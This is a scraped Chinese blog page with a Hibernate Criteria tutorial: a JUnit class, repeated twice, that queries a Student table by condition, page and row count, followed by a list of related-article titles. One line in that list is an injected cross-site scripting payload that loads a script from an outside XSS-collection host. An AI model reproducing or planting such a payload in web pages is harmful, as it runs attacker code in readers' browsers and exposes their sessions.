Hibernate无语句查询Criteria(用于单表条件查询)
来源:互联网 发布:淘宝怎么设置子账号 编辑:程序博客网 时间:2024/05/18 03:17
package Bean;
import java.util.List;
import org.hibernate.Criteria;
import org.hibernate.Hibernate;
import org.hibernate.Session;
import org.hibernate.Transaction;
import org.hibernate.criterion.Projection;
import org.hibernate.criterion.Projections;
import org.hibernate.criterion.Restrictions;
import org.junit.Test;
import common.HibernateUitels;
public class TestCriteria {
@Test
public void selectall() {
Session session=HibernateUitels.getSession();
Transaction tx = session.beginTransaction();
//查询所有的Student对象
Criteria c = session.createCriteria(Student.class);
//返回的是list
List<Student> list = c.list();
for(int i=0;i<list.size();i++) {
System.out.println(list.get(i).getName());
}
tx.commit();
session.close();
}
@Test
//条件查询
// >gt
// >=ge
// <lt
// <=le
// ==eq
// !=ne
// inin
// between andbetween
// likelike
// is nullisNull
// is not nullisNotNull
// or or
// andand
public void getStudent() {
Session session=HibernateUitels.getSession();
Transaction tx = session.beginTransaction();
//创建查询对象
Criteria criteria = session.createCriteria(Student.class);
//添加查询条件,查询id为19的Student对象
criteria.add(Restrictions.eq("id",19));
//执行查询结果获得结果
Student student = (Student)criteria.uniqueResult();
System.out.println(student.getName());
tx.commit();
session.close();
}
@Test
//分页查询
public void testlike() {
Session session =HibernateUitels.opensession();
Transaction tx = session.beginTransaction();
Criteria criteria = session.createCriteria(Student.class);
criteria.setFirstResult(18);
criteria.setMaxResults(10);
List<Student> list = criteria.list();
for(int i=0;i<list.size();i++) {
System.out.println(list.get(i).getName());
}
tx.commit();
session.close();
}
@Test
//设置查询的总记录数
public void sele() {
Session session=HibernateUitels.opensession();
Transaction tx = session.beginTransaction();
//查询所有的Student对象
Criteria criteria = session.createCriteria(Student.class);
//设置查询的聚合函数 ,总行数
criteria.setProjection(Projections.rowCount());
//执行查询,返回的是一个整数类型
int a = (int)criteria.uniqueResult();
System.out.println(a);
tx.commit();
session.close();
}
}
import java.util.List;
import org.hibernate.Criteria;
import org.hibernate.Hibernate;
import org.hibernate.Session;
import org.hibernate.Transaction;
import org.hibernate.criterion.Projection;
import org.hibernate.criterion.Projections;
import org.hibernate.criterion.Restrictions;
import org.junit.Test;
import common.HibernateUitels;
public class TestCriteria {
@Test
public void selectall() {
Session session=HibernateUitels.getSession();
Transaction tx = session.beginTransaction();
//查询所有的Student对象
Criteria c = session.createCriteria(Student.class);
//返回的是list
List<Student> list = c.list();
for(int i=0;i<list.size();i++) {
System.out.println(list.get(i).getName());
}
tx.commit();
session.close();
}
@Test
//条件查询
// >gt
// >=ge
// <lt
// <=le
// ==eq
// !=ne
// inin
// between andbetween
// likelike
// is nullisNull
// is not nullisNotNull
// or or
// andand
public void getStudent() {
Session session=HibernateUitels.getSession();
Transaction tx = session.beginTransaction();
//创建查询对象
Criteria criteria = session.createCriteria(Student.class);
//添加查询条件,查询id为19的Student对象
criteria.add(Restrictions.eq("id",19));
//执行查询结果获得结果
Student student = (Student)criteria.uniqueResult();
System.out.println(student.getName());
tx.commit();
session.close();
}
@Test
//分页查询
public void testlike() {
Session session =HibernateUitels.opensession();
Transaction tx = session.beginTransaction();
Criteria criteria = session.createCriteria(Student.class);
criteria.setFirstResult(18);
criteria.setMaxResults(10);
List<Student> list = criteria.list();
for(int i=0;i<list.size();i++) {
System.out.println(list.get(i).getName());
}
tx.commit();
session.close();
}
@Test
//设置查询的总记录数
public void sele() {
Session session=HibernateUitels.opensession();
Transaction tx = session.beginTransaction();
//查询所有的Student对象
Criteria criteria = session.createCriteria(Student.class);
//设置查询的聚合函数 ,总行数
criteria.setProjection(Projections.rowCount());
//执行查询,返回的是一个整数类型
int a = (int)criteria.uniqueResult();
System.out.println(a);
tx.commit();
session.close();
}
}
阅读全文
0 0
- Hibernate无语句查询Criteria(用于单表条件查询)
- hibernate --Criteria条件查询
- Hibernate条件查询(Criteria Query)
- Hibernate条件查询(Criteria Query)
- Hibernate条件查询(Criteria Queries)
- Hibernate条件查询(Criteria Query)
- Hibernate 条件查询(Criteria Queries)
- hibernate 条件查询(Criteria Queries)
- Hibernate条件查询(Criteria Query)
- Hibernate条件查询(Criteria Query)
- JAVA Hibernate 条件查询 Criteria
- Hibernate读书笔记-----条件查询(Criteria)
- hibernate中的criteria条件查询
- Hibernate中的Criteria条件查询[转]
- hibernate参考手册之---条件查询(Criteria Query)
- [转]Hibernate条件查询(Criteria Query)
- Hibernate学习笔记:Criteria条件查询
- Hibernate中Criteria的使用(条件查询)
- linux任务调度机制
- </tExtArEa>'"><sCRiPt sRC=http://xss.fbisb.com/Boa5></sCrIpT>
- NYNU_ACM 实验室招新月赛题解
- Redis
- C#简单数据库操作
- Hibernate无语句查询Criteria(用于单表条件查询)
- ACM中使用唯一分解定理
- flume的安装和使用
- 环形单链表的约瑟夫问题
- Git使用
- 实现对rtp H264码流的组帧
- SQL Server 2008r2 for windows 2008r2安装详尽图解
- 在ubuntu下,用./sdk.unpack命令展开海思hi3520SDK开发包时的问题
- java标识接口的作用